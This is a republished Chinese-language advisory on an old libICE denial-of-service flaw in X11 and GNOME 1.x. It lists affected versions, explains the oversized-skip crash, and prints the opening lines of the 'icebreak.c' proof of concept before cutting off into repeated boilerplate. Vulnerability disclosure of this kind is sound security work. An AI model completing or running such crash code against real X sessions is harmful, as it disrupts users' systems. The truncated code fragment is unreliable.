對libICE 庫拒絕服務攻擊漏洞的深入解析
此文章主要講述的是libICE 庫拒絕服務攻擊漏洞,如果你對libICE 庫拒絕服務攻擊漏洞有興趣的話,你就可以對以下的文章點擊觀看了,以下就是具體內容的描述,希望在你今后的學習中會有所幫助。
受影響系統:
GNOME Gnome 1.1
GNOME GNOME 1.0.x
Open Group X 11.0R6.x
Open Group X 11.0R6
Open Group X 11.0R5
XFree86 X11R6 4.0
XFree86 X11R6 3.3.6
- RedHat Linux 6.2 i386
XFree86 X11R6 3.3.5
- RedHat Linux 6.1 i386
XFree86 X11R6 3.3.4
XFree86 X11R6 3.3.3
不受影響系統:
GNOME Gnome 1.2
描述:
libICE是X11 window系統的一部分。由于在處理SKIP_STRING宏的時候存在一些問題,導致
任何使用libICE創建監聽socket的應用程序都可以被遠程攻擊,使之停止服務。攻擊者可以
給skip提供一個很大的值,使指針指向某些未初始化的內存區域,從而發生段訪問錯誤。
GNOME中大量的使用了libICE,因此攻擊者可能對正在運行GNOME的用戶的X會話發動攻擊。
<* 來源:Chris Evans *>
測試方法:
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
/* icebreak.c - Chris Evans */
#include
#include
#include
int
main(int argc, const char* argv[])
{
unsigned char c;
unsigned int i;
unsigned short s;
char blankbuf[1000];
memset(blankbuf, '\0', sizeof(blankbuf));
/* Assume fd 1 is stdout */
/* ICE connection header */
/* First, pick an endian-ness */
/* Byte 1: Major opcode. Must be 0 */
c = 0;
write(1, &c, 1);
/* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
以上的相關內容就是對libICE 庫拒絕服務攻擊漏洞的介紹,望你能有所收獲。
上述的相關內容就是對libICE 庫拒絕服務攻擊漏洞的描述,希望會給你帶來一些幫助在此方面。
【編輯推薦】